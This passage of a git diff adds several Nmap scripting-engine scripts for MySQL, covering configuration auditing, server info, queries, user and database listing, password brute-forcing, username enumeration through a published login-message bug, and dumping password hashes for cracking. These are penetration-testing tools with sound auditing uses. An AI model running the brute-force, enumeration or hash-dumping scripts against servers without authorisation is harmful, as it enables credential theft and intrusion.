+ r.maxusers .. "; bandwidth: " .. r.bandwidth .. " b/s"
+ -- Add extra info depending on protocol
+ if port.protocol == "tcp" then
+ port.version.extrainfo = "control port" .. port.version.extrainfo
+ else
+ port.version.extrainfo = "voice port" .. port.version.extrainfo
+ end
+
+ nmap.set_port_version(host, port, "hardmatched")
+
+ return
+end
diff --git a/scripts/mysql-audit.nse b/scripts/mysql-audit.nse
new file mode 100644
index 0000000..32a1482
--- /dev/null
+++ b/scripts/mysql-audit.nse
@@ -0,0 +1,182 @@
+local _G = require "_G"
+local mysql = require "mysql"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Audits MySQL database server security configuration against parts of
+the CIS MySQL v1.0.2 benchmark (the engine can be used for other MySQL
+audits by creating appropriate audit files).
+]]
+
+
+---
+-- @usage
+-- nmap -p 3306 --script mysql-audit --script-args "mysql-audit.username='root', \
+-- mysql-audit.password='foobar',mysql-audit.filename='nselib/data/mysql-cis.audit'"
+--
+-- @args mysql-audit.username the username with which to connect to the database
+-- @args mysql-audit.password the password with which to connect to the database
+-- @args mysql-audit.filename the name of the file containing the audit rulebase, "mysql-cis.audit" by default
+--
+-- @output
+-- PORT STATE SERVICE
+-- 3306/tcp open mysql
+-- | mysql-audit:
+-- | CIS MySQL Benchmarks v1.0.2
+-- | 3.1: Skip symbolic links => PASS
+-- | 3.2: Logs not on system partition => PASS
+-- | 3.2: Logs not on database partition => PASS
+-- | 4.1: Supported version of MySQL => REVIEW
+-- | Version: 5.1.54-1ubuntu4
+-- | 4.4: Remove test database => PASS
+-- | 4.5: Change admin account name => FAIL
+-- | 4.7: Verify Secure Password Hashes => PASS
+-- | 4.9: Wildcards in user hostname => FAIL
+-- | The following users were found with wildcards in hostname
+-- | root
+-- | super
+-- | super2
+-- | 4.10: No blank passwords => PASS
+-- | 4.11: Anonymous account => PASS
+-- | 5.1: Access to mysql database => REVIEW
+-- | Verify the following users that have access to the MySQL database
+-- | user host
+-- | root localhost
+-- | root patrik-11
+-- | root 127.0.0.1
+-- | debian-sys-maint localhost
+-- | root %
+-- | super %
+-- | 5.2: Do not grant FILE privileges to non Admin users => REVIEW
+-- | The following users were found having the FILE privilege
+-- | super
+-- | super2
+-- | 5.3: Do not grant PROCESS privileges to non Admin users => REVIEW
+-- | The following users were found having the PROCESS privilege
+-- | super
+-- | 5.4: Do not grant SUPER privileges to non Admin users => REVIEW
+-- | The following users were found having the SUPER privilege
+-- | super
+-- | 5.5: Do not grant SHUTDOWN privileges to non Admin users => REVIEW
+-- | The following users were found having the SHUTDOWN privilege
+-- | super
+-- | 5.6: Do not grant CREATE USER privileges to non Admin users => REVIEW
+-- | The following users were found having the CREATE USER privilege
+-- | super
+-- | 5.7: Do not grant RELOAD privileges to non Admin users => REVIEW
+-- | The following users were found having the RELOAD privilege
+-- | super
+-- | 5.8: Do not grant GRANT privileges to non Admin users => PASS
+-- | 6.2: Disable Load data local => FAIL
+-- | 6.3: Disable old password hashing => PASS
+-- | 6.4: Safe show database => FAIL
+-- | 6.5: Secure auth => FAIL
+-- | 6.6: Grant tables => FAIL
+-- | 6.7: Skip merge => FAIL
+-- | 6.8: Skip networking => FAIL
+-- | 6.9: Safe user create => FAIL
+-- | 6.10: Skip symbolic links => FAIL
+-- |
+-- |_ The audit was performed using the db-account: root
+
+-- Version 0.1
+-- Created 05/29/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.port_or_service(3306, "mysql")
+local TEMPLATE_NAME, ADMIN_ACCOUNTS = "", ""
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+local function loadAuditRulebase( filename )
+ local rules = {}
+
+ local env = setmetatable({
+ test = function(t) table.insert(rules, t) end;
+ }, {__index = _G})
+
+ filename = nmap.fetchfile("nselib/data/" .. filename) or filename
+ stdnse.debug(1, "Loading rules from: %s", filename)
+ local file, err = loadfile(filename, "t", env)
+
+ if ( not(file) ) then
+ return false, fail(("Failed to load rulebase:\n%s"):format(err))
+ end
+
+
+ file()
+ TEMPLATE_NAME = env.TEMPLATE_NAME
+ ADMIN_ACCOUNTS = env.ADMIN_ACCOUNTS
+ return true, rules
+end
+
+action = function( host, port )
+
+ local username = stdnse.get_script_args("mysql-audit.username")
+ local password = stdnse.get_script_args("mysql-audit.password")
+ local filename = stdnse.get_script_args("mysql-audit.filename") or "mysql-cis.audit"
+
+ if ( not(username) ) then
+ return fail("No username was supplied (see mysql-audit.username)")
+ end
+
+ local status, tests = loadAuditRulebase( filename )
+ if( not(status) ) then return tests end
+
+ local socket = nmap.new_socket()
+ status = socket:connect(host, port)
+
+ local response
+ status, response = mysql.receiveGreeting( socket )
+ if ( not(status) ) then return response end
+
+ status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
+
+ if ( not(status) ) then return fail("Failed to authenticate") end
+ local results = {}
+
+ for _, test in ipairs(tests) do
+ local queries = ( "string" == type(test.sql) ) and { test.sql } or test.sql
+ local rowstab = {}
+
+ for _, query in ipairs(queries) do
+ local row
+ status, row = mysql.sqlQuery( socket, query )
+ if ( not(status) ) then
+ table.insert( results, { ("%s: ERROR: Failed to execute SQL statement"):format(test.id) } )
+ else
+ table.insert(rowstab, row)
+ end
+ end
+
+ if ( #rowstab > 0 ) then
+ local result_part = {}
+ local res = test.check(rowstab)
+ local status, data = res.status, res.result
+ status = ( res.review and "REVIEW" ) or (status and "PASS" or "FAIL")
+
+ table.insert( result_part, ("%s: %s => %s"):format(test.id, test.desc, status) )
+ if ( data ) then
+ table.insert(result_part, { data } )
+ end
+ table.insert( results, result_part )
+ end
+ end
+
+ socket:close()
+ results.name = TEMPLATE_NAME
+
+ table.insert(results, "")
+ table.insert(results, {name = "Additional information", ("The audit was performed using the db-account: %s"):format(username),
+ ("The following admin accounts were excluded from the audit: %s"):format(table.concat(ADMIN_ACCOUNTS, ","))
+ })
+
+return stdnse.format_output(true, { results })
+end
diff --git a/scripts/mysql-brute.nse b/scripts/mysql-brute.nse
new file mode 100644
index 0000000..fcd0704
--- /dev/null
+++ b/scripts/mysql-brute.nse
@@ -0,0 +1,99 @@
+local brute = require "brute"
+local creds = require "creds"
+local mysql = require "mysql"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Performs password guessing against MySQL.
+]]
+
+---
+-- @see mysql-empty-password.nse
+--
+-- @usage
+-- nmap --script=mysql-brute <target>
+--
+-- @output
+-- 3306/tcp open mysql
+-- | mysql-brute:
+-- | Accounts
+-- | root:root - Valid credentials
+--
+-- @args mysql-brute.timeout socket timeout for connecting to MySQL (default 5s)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+-- Version 0.5
+-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/23/2010 - v0.2 - revised by Patrik Karlsson, changed username, password loop, added credential storage for other mysql scripts, added timelimit
+-- Revised 01/23/2010 - v0.3 - revised by Patrik Karlsson, fixed bug showing account passwords detected twice
+-- Revised 09/09/2011 - v0.4 - revised by Tom Sellers, changed account status text to be more consistent with other *-brute scripts
+-- Revised 05/25/2012 - v0.5 - revised by Aleksandar Nikolic, rewritten to use brute lib
+
+portrule = shortport.port_or_service(3306, "mysql")
+
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+arg_timeout = (arg_timeout or 5) * 1000
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ connect = function( self )
+ self.socket = brute.new_socket()
+ local status, err = self.socket:connect(self.host, self.port)
+ self.socket:set_timeout(arg_timeout)
+ if(not(status)) then
+ return false, brute.Error:new( "Couldn't connect to host: " .. err )
+ end
+ return true
+ end,
+
+ login = function (self, user, pass)
+ local status, response = mysql.receiveGreeting(self.socket)
+ if(not(status)) then
+ return false,brute.Error:new(response)
+ end
+ stdnse.debug1( "Trying %s/%s ...", user, pass )
+ status, response = mysql.loginRequest( self.socket, { authversion = "post41", charset = response.charset }, user, pass, response.salt )
+ if status then
+ -- Add credentials for other mysql scripts to use
+ if nmap.registry.mysqlusers == nil then
+ nmap.registry.mysqlusers = {}
+ end
+ nmap.registry.mysqlusers[user]=pass
+ return true, creds.Account:new( user, pass, creds.State.VALID)
+ end
+ return false,brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function( self )
+ self.socket:close()
+ return true
+ end
+
+}
+
+action = function( host, port )
+
+ local status, result
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/mysql-databases.nse b/scripts/mysql-databases.nse
new file mode 100644
index 0000000..512cf18
--- /dev/null
+++ b/scripts/mysql-databases.nse
@@ -0,0 +1,98 @@
+local mysql = require "mysql"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Attempts to list all databases on a MySQL server.
+]]
+
+---
+-- @args mysqluser The username to use for authentication. If unset it
+-- attempts to use credentials found by <code>mysql-brute</code> or
+-- <code>mysql-empty-password</code>.
+-- @args mysqlpass The password to use for authentication. If unset it
+-- attempts to use credentials found by <code>mysql-brute</code> or
+-- <code>mysql-empty-password</code>.
+--
+-- @output
+-- 3306/tcp open mysql
+-- | mysql-databases:
+-- | information_schema
+-- | mysql
+-- | horde
+-- | album
+-- | mediatomb
+-- |_ squeezecenter
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+
+dependencies = {"mysql-brute", "mysql-empty-password"}
+
+-- Version 0.1
+-- Created 01/23/2010 - v0.1 - created by Patrik Karlsson
+
+portrule = shortport.port_or_service(3306, "mysql")
+
+action = function( host, port )
+
+ local socket = nmap.new_socket()
+ local catch = function() socket:close() end
+ local try = nmap.new_try(catch)
+ local result, response, dbs = {}, nil, {}
+ local users = {}
+ local nmap_args = nmap.registry.args
+ local status, rows
+
+ -- set a reasonable timeout value
+ socket:set_timeout(5000)
+
+ -- first, let's see if the script has any credentials as arguments?
+ if nmap_args.mysqluser then
+ users[nmap_args.mysqluser] = nmap_args.mysqlpass or ""
+ -- next, let's see if mysql-brute or mysql-empty-password brought us anything
+ elseif nmap.registry.mysqlusers then
+ -- do we have root credentials?
+ if nmap.registry.mysqlusers['root'] then
+ users['root'] = nmap.registry.mysqlusers['root']
+ else
+ -- we didn't have root, so let's make sure we loop over them all
+ users = nmap.registry.mysqlusers
+ end
+ -- last, no dice, we don't have any credentials at all
+ else
+ stdnse.debug1("No credentials supplied, aborting ...")
+ return
+ end
+
+ --
+ -- Iterates over credentials, breaks once it successfully receives results
+ --
+ for username, password in pairs(users) do
+
+ try( socket:connect(host, port) )
+
+ response = try( mysql.receiveGreeting( socket ) )
+ status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
+
+ if status and response.errorcode == 0 then
+ local status, rs = mysql.sqlQuery( socket, "show databases" )
+ if status then
+ result = mysql.formatResultset(rs, { noheaders = true })
+
+ -- if we got here as root, we've got them all
+ -- if we're here as someone else, we cant be sure
+ if username == 'root' then
+ break
+ end
+ end
+ end
+ socket:close()
+ end
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/mysql-dump-hashes.nse b/scripts/mysql-dump-hashes.nse
new file mode 100644
index 0000000..b243ac8
--- /dev/null
+++ b/scripts/mysql-dump-hashes.nse
@@ -0,0 +1,102 @@
+local mysql = require "mysql"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Dumps the password hashes from an MySQL server in a format suitable for
+cracking by tools such as John the Ripper. Appropriate DB privileges (root) are required.
+
+The <code>username</code> and <code>password</code> arguments take precedence
+over credentials discovered by the mysql-brute and mysql-empty-password
+scripts.
+]]
+
+---
+-- @usage
+-- nmap -p 3306 <ip> --script mysql-dump-hashes --script-args='username=root,password=secret'
+--
+-- @output
+-- PORT STATE SERVICE
+-- 3306/tcp open mysql
+-- | mysql-dump-hashes:
+-- | root:*9B500343BC52E2911172EB52AE5CF4847604C6E5
+-- | debian-sys-maint:*92357EE43977D9228AC9C0D60BB4B4479BD7A337
+-- |_ toor:*14E65567ABDB5135D0CFD9A70B3032C179A49EE7
+--
+-- @args username the username to use to connect to the server
+-- @args password the password to use to connect to the server
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth", "discovery", "safe"}
+
+
+dependencies = {"mysql-empty-password", "mysql-brute"}
+
+portrule = shortport.port_or_service(3306, "mysql")
+
+local arg_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
+local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password") or ""
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+local function getCredentials()
+ -- first, let's see if the script has any credentials as arguments?
+ if ( arg_username ) then
+ return { [arg_username] = arg_password }
+ -- next, let's see if mysql-brute or mysql-empty-password brought us anything
+ elseif nmap.registry.mysqlusers then
+ -- do we have root credentials?
+ if nmap.registry.mysqlusers['root'] then
+ return { ['root'] = nmap.registry.mysqlusers['root'] }
+ else
+ -- we didn't have root, so let's make sure we loop over them all
+ return nmap.registry.mysqlusers
+ end
+ -- last, no dice, we don't have any credentials at all
+ end
+end
+
+local function mysqlLogin(socket, username, password)
+ local status, response = mysql.receiveGreeting( socket )
+ if ( not(status) ) then
+ return response
+ end
+ return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
+end
+
+
+action = function(host, port)
+ local creds = getCredentials()
+ if ( not(creds) ) then
+ stdnse.debug2("No credentials were supplied, aborting ...")
+ return
+ end
+
+ local result = {}
+ for username, password in pairs(creds) do
+ local socket = nmap.new_socket()
+ if ( not(socket:connect(host, port)) ) then
+ return fail("Failed to connect to server")
+ end
+
+ local status, response = mysqlLogin(socket, username, password)
+ if ( status ) then
+ local query = "SELECT DISTINCT CONCAT(user, ':', password) FROM mysql.user WHERE password <> ''"
+ local status, rows = mysql.sqlQuery( socket, query )
+ socket:close()
+ if ( status ) then
+ result = mysql.formatResultset(rows, { noheaders = true })
+ break
+ end
+ else
+ socket:close()
+ end
+ end
+
+ if ( result ) then
+ return stdnse.format_output(true, result)
+ end
+end
diff --git a/scripts/mysql-empty-password.nse b/scripts/mysql-empty-password.nse
new file mode 100644
index 0000000..33b7bb8
--- /dev/null
+++ b/scripts/mysql-empty-password.nse
@@ -0,0 +1,67 @@
+local mysql = require "mysql"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Checks for MySQL servers with an empty password for <code>root</code> or
+<code>anonymous</code>.
+]]
+
+---
+-- @see mysql-brute.nse
+--
+-- @output
+-- 3306/tcp open mysql
+-- | mysql-empty-password:
+-- | anonymous account has empty password
+-- |_ root account has empty password
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "auth"}
+
+
+-- Version 0.3
+-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/23/2010 - v0.2 - revised by Patrik Karlsson, added anonymous account check
+-- Revised 01/23/2010 - v0.3 - revised by Patrik Karlsson, fixed abort bug due to try of loginrequest
+
+portrule = shortport.port_or_service(3306, "mysql")
+
+action = function( host, port )
+
+ local socket = nmap.new_socket()
+ local result = {}
+ local users = {"", "root"}
+
+ -- set a reasonable timeout value
+ socket:set_timeout(5000)
+
+ for _, v in ipairs( users ) do
+ local status, response = socket:connect(host, port)
+ if( not(status) ) then return stdnse.format_output(false, "Failed to connect to mysql server") end
+
+ status, response = mysql.receiveGreeting( socket )
+ if ( not(status) ) then
+ stdnse.debug3("%s", SCRIPT_NAME)
+ socket:close()
+ return response
+ end
+
+ status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, v, nil, response.salt )
+ if response.errorcode == 0 then
+ table.insert(result, string.format("%s account has empty password", ( v=="" and "anonymous" or v ) ) )
+ if nmap.registry.mysqlusers == nil then
+ nmap.registry.mysqlusers = {}
+ end
+ nmap.registry.mysqlusers[v=="" and "anonymous" or v] = ""
+ end
+ socket:close()
+ end
+
+ return stdnse.format_output(true, result)
+
+end
diff --git a/scripts/mysql-enum.nse b/scripts/mysql-enum.nse
new file mode 100644
index 0000000..1fad762
--- /dev/null
+++ b/scripts/mysql-enum.nse
@@ -0,0 +1,113 @@
+local brute = require "brute"
+local creds = require "creds"
+local mysql = require "mysql"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Performs valid-user enumeration against MySQL server using a bug
+discovered and published by Kingcope
+(http://seclists.org/fulldisclosure/2012/Dec/9).
+
+Server version 5.x are susceptible to an user enumeration
+attack due to different messages during login when using
+old authentication mechanism from versions 4.x and earlier.
+
+]]
+
+---
+-- @usage
+-- nmap --script=mysql-enum <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 3306/tcp open mysql syn-ack
+-- | mysql-enum:
+-- | Accounts
+-- | admin:<empty> - Valid credentials
+-- | test:<empty> - Valid credentials
+-- | test_mysql:<empty> - Valid credentials
+-- | Statistics
+-- |_ Performed 11 guesses in 1 seconds, average tps: 11
+--
+-- @args mysql-enum.timeout socket timeout for connecting to MySQL (default 5s)
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service(3306, "mysql")
+
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+arg_timeout = (arg_timeout or 5) * 1000
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ connect = function( self )
+ self.socket = nmap.new_socket()
+ local status, err = self.socket:connect(self.host, self.port)
+ self.socket:set_timeout(arg_timeout)
+ if(not(status)) then
+ return false, brute.Error:new( "Couldn't connect to host: " .. err )
+ end
+ return true
+ end,
+
+ login = function (self, user, pass) -- pass is actually the username we want to try
+ local status, response = mysql.receiveGreeting(self.socket)
+ if(not(status)) then
+ if string.find(response,"is blocked because of many connection errors") then
+ local err = brute.Error:new( response )
+ err:setAbort( true )
+ return false, err
+ end
+ return false,brute.Error:new(response)
+ end
+ stdnse.debug1( "Trying %s ...", pass)
+ local auth_string = stdnse.fromhex("0000018d00000000") .. pass .. stdnse.fromhex("00504e5f5155454d4500"); -- old authentication method
+ local err
+ status, err = self.socket:send(string.pack("b",#auth_string-3) .. auth_string) --send initial auth
+ status, response = self.socket:receive_bytes(0)
+ if not status then
+ return false,brute.Error:new( "Incorrect username" )
+ end
+ if string.find(response,"Access denied for user") == nil then
+ -- found it
+ return true, creds.Account:new( pass, nil, creds.State.VALID)
+ else
+ return false,brute.Error:new( "Incorrect username" )
+ end
+ end,
+
+ disconnect = function( self )
+ self.socket:close()
+ return true
+ end
+
+}
+
+action = function( host, port )
+
+ local status, result
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options:setOption("passonly", true )
+ engine:setPasswordIterator(brute.usernames_iterator())
+ engine.options.script_name = SCRIPT_NAME
+ engine.options:setTitle("Valid usernames")
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/mysql-info.nse b/scripts/mysql-info.nse
new file mode 100644
index 0000000..5d37ae1
--- /dev/null
+++ b/scripts/mysql-info.nse
@@ -0,0 +1,132 @@
+local mysql = require "mysql"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Connects to a MySQL server and prints information such as the protocol and
+version numbers, thread ID, status, capabilities, and the password salt.
+
+If service detection is performed and the server appears to be blocking
+our host or is blocked because of too many connections, then this script
+isn't run (see the portrule).
+]]
+
+---
+-- @output
+-- 3306/tcp open mysql
+-- | mysql-info:
+-- | Protocol: 10
+-- | Version: 5.0.51a-3ubuntu5.1
+-- | Thread ID: 7
+-- | Capabilities flags: 40968
+-- | Some Capabilities: ConnectWithDatabase, SupportsTransactions, Support41Auth
+-- | Status: Autocommit
+-- |_ Salt: bYyt\NQ/4V6IN+*3`imj
+--
+--@xmloutput
+-- <elem key="Protocol">10</elem>
+-- <elem key="Version">5.0.51a-3ubuntu5.1</elem>
+-- <elem key="Thread ID">7</elem>
+-- <elem key="Capabilities flags">40968</elem>
+-- <table key="Some Capabilities">
+-- <elem>ConnectWithDatabase</elem>
+-- <elem>SupportsTransactions</elem>
+-- <elem>Support41Auth</elem>
+-- </table>
+-- <elem key="Status">Autocommit</elem>
+-- <elem key="Salt">bYyt\NQ/4V6IN+*3`imj</elem>
+
+-- Many thanks to jah (jah@zadkiel.plus.com) for testing and enhancements
+
+author = "Kris Katterjohn"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = { "default", "discovery", "safe" }
+
+--- Converts a number to a string description of the capabilities
+--@param num Start of the capabilities data
+--@return table containing the names of the capabilities offered
+local bitset = function(num, lookup)
+ local caps = {}
+
+ for k, v in pairs(lookup) do
+ if num & v > 0 then
+ caps[#caps+1] = k
+ end
+ end
+
+ return caps
+end
+
+portrule = function(host, port)
+ local extra = port.version.extrainfo
+
+ return (port.number == 3306 or port.service == "mysql")
+ and port.protocol == "tcp"
+ and port.state == "open"
+ and not (extra ~= nil
+ and (extra:match("[Uu]nauthorized")
+ or extra:match("[Tt]oo many connection")))
+end
+
+action = function(host, port)
+ local output = stdnse.output_table()
+ local socket = nmap.new_socket()
+
+ local status, err = socket:connect(host, port)
+
+ if not status then
+ stdnse.debug1("error connecting: %s", err)
+ return nil
+ end
+
+ local status, info = mysql.receiveGreeting(socket)
+
+ if not status then
+ stdnse.debug1("MySQL error: %s", info)
+ output["MySQL Error"] = info
+ if nmap.verbosity() > 1 then
+ return output
+ else
+ return nil
+ end
+ end
+
+ output["Protocol"] = info.proto
+ output["Version"] = info.version
+ output["Thread ID"] = info.threadid
+
+ if info.proto == 10 then
+ output["Capabilities flags"] = info.capabilities
+ local caps = bitset(info.capabilities, mysql.Capabilities)
+ if info.extcapabilities then
+ local extcaps = bitset(info.extcapabilities, mysql.ExtCapabilities)
+ for i, c in ipairs(extcaps) do
+ caps[#caps+1] = c
+ end
+ end
+ if #caps > 0 then
+ setmetatable(caps, {
+ __tostring = function (self)
+ return table.concat(self, ", ")
+ end
+ })
+ output["Some Capabilities"] = caps
+ end
+
+ if info.status == 2 then
+ output["Status"] = "Autocommit"
+ else
+ output["Status"] = info.status
+ end
+
+ output["Salt"] = info.salt
+
+ output["Auth Plugin Name"] = info.auth_plugin_name
+ end
+
+ return output
+end
+
diff --git a/scripts/mysql-query.nse b/scripts/mysql-query.nse
new file mode 100644
index 0000000..5e9c26a
--- /dev/null
+++ b/scripts/mysql-query.nse
@@ -0,0 +1,118 @@
+local mysql = require "mysql"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Runs a query against a MySQL database and returns the results as a table.
+]]
+
+---
+-- @usage
+-- nmap -p 3306 <ip> --script mysql-query --script-args='query="<query>"[,username=<username>,password=<password>]'
+--
+-- @output
+-- PORT STATE SERVICE
+-- 3306/tcp open mysql
+-- | mysql-query:
+-- | host user
+-- | 127.0.0.1 root
+-- | localhost debian-sys-maint
+-- | localhost root
+-- | ubu1110 root
+-- |
+-- | Query: SELECT host, user FROM mysql.user
+-- |_ User: root
+--
+-- @args mysql-query.query the query for which to return the results
+-- @args mysql-query.username (optional) the username used to authenticate to the database server
+-- @args mysql-query.password (optional) the password used to authenticate to the database server
+-- @args mysql-query.noheaders do not display column headers (default: false)
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth", "discovery", "safe"}
+
+
+dependencies = {"mysql-empty-password", "mysql-brute"}
+
+portrule = shortport.port_or_service(3306, "mysql")
+
+local arg_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
+local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password") or ""
+local arg_query = stdnse.get_script_args(SCRIPT_NAME .. ".query")
+local arg_noheaders = stdnse.get_script_args(SCRIPT_NAME .. ".noheaders") or false
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+local function getCredentials()
+ -- first, let's see if the script has any credentials as arguments?
+ if ( arg_username ) then
+ return { [arg_username] = arg_password }
+ -- next, let's see if mysql-brute or mysql-empty-password brought us anything
+ elseif nmap.registry.mysqlusers then
+ -- do we have root credentials?
+ if nmap.registry.mysqlusers['root'] then
+ return { ['root'] = nmap.registry.mysqlusers['root'] }
+ else
+ -- we didn't have root, so let's make sure we loop over them all
+ return nmap.registry.mysqlusers
+ end
+ -- last, no dice, we don't have any credentials at all
+ end
+end
+
+local function mysqlLogin(socket, username, password)
+ local status, response = mysql.receiveGreeting( socket )
+ if ( not(status) ) then
+ return response
+ end
+ return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
+end
+
+
+action = function(host, port)
+ if ( not(arg_query) ) then
+ stdnse.debug2("No query was given, aborting ...")
+ return
+ end
+
+ local creds = getCredentials()
+ if ( not(creds) ) then
+ stdnse.debug2("No credentials were supplied, aborting ...")
+ return
+ end
+
+ if ( arg_noheaders == '1' or arg_noheaders == 'true' ) then
+ arg_noheaders = true
+ else
+ arg_noheaders = false
+ end
+
+ local result = {}
+ local last_error
+
+ for username, password in pairs(creds) do
+ local socket = nmap.new_socket()
+ if ( not(socket:connect(host, port)) ) then
+ return fail("Failed to connect to server")
+ end
+ local status, response = mysqlLogin(socket, username, password)
+ if ( status ) then
+ local status, rs = mysql.sqlQuery( socket, arg_query )
+ socket:close()
+ if ( status ) then
+ result = mysql.formatResultset(rs, { noheaders = arg_noheaders })
+ result = ("%s\nQuery: %s\nUser: %s"):format(result, arg_query, username)
+ last_error = nil
+ break
+ else
+ last_error = rs
+ end
+ else
+ socket:close()
+ end
+ end
+ return stdnse.format_output(not last_error, last_error or result)
+end
diff --git a/scripts/mysql-users.nse b/scripts/mysql-users.nse
new file mode 100644
index 0000000..dc86a3d
--- /dev/null
+++ b/scripts/mysql-users.nse
@@ -0,0 +1,97 @@
+local mysql = require "mysql"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Attempts to list all users on a MySQL server.
+]]
+
+---
+-- @args mysqluser The username to use for authentication. If unset it
+-- attempts to use credentials found by <code>mysql-brute</code> or
+-- <code>mysql-empty-password</code>.
+-- @args mysqlpass The password to use for authentication. If unset it
+-- attempts to use credentials found by <code>mysql-brute</code> or
+-- <code>mysql-empty-password</code>.
+--
+-- @output
+-- 3306/tcp open mysql
+-- | mysql-users:
+-- | test
+-- | root
+-- | test2
+-- | album
+-- | debian-sys-maint
+-- | horde
+-- | mediatomb
+-- |_ squeezecenter
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth", "intrusive"}
+
+
+dependencies = {"mysql-brute", "mysql-empty-password"}
+
+-- Version 0.1
+-- Created 01/23/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+portrule = shortport.port_or_service(3306, "mysql")
+
+action = function( host, port )
+
+ local socket = nmap.new_socket()
+ local catch = function() socket:close() end
+ local try = nmap.new_try(catch)
+ local result, response = {}, nil
+ local users = {}
+ local nmap_args = nmap.registry.args
+ local status, rows
+
+ -- set a reasonable timeout value
+ socket:set_timeout(5000)
+
+ -- first, let's see if the script has any credentials as arguments?
+ if nmap_args.mysqluser then
+ users[nmap_args.mysqluser] = nmap_args.mysqlpass or ""
+ -- next, let's see if mysql-brute or mysql-empty-password brought us anything
+ elseif nmap.registry.mysqlusers then
+ -- do we have root credentials?
+ if nmap.registry.mysqlusers['root'] then
+ users['root'] = nmap.registry.mysqlusers['root']
+ else
+ -- we didn't have root, so let's make sure we loop over them all
+ users = nmap.registry.mysqlusers
+ end
+ -- last, no dice, we don't have any credentials at all
+ else
+ stdnse.debug1("No credentials supplied, aborting ...")
+ return
+ end
+
+ --
+ -- Iterates over credentials, breaks once it successfully receives results
+ --
+ for username, password in pairs(users) do
+
+ try( socket:connect(host, port) )
+
+ response = try( mysql.receiveGreeting( socket ) )
+ status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
+
+ if status and response.errorcode == 0 then
+ status, rows = mysql.sqlQuery( socket, "SELECT DISTINCT user FROM mysql.user" )
+ if status then
+ result = mysql.formatResultset(rows, { noheaders = true })
+ end
+ end
+ socket:close()
+ end
+
+ return stdnse.format_output(true, result)
+
+end
diff --git a/scripts/mysql-variables.nse b/scripts/mysql-variables.nse
new file mode 100644
index 0000000..6f9b772
--- /dev/null
+++ b/scripts/mysql-variables.nse
@@ -0,0 +1,109 @@
+local mysql = require "mysql"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Attempts to show all variables on a MySQL server.
+]]
+
+---
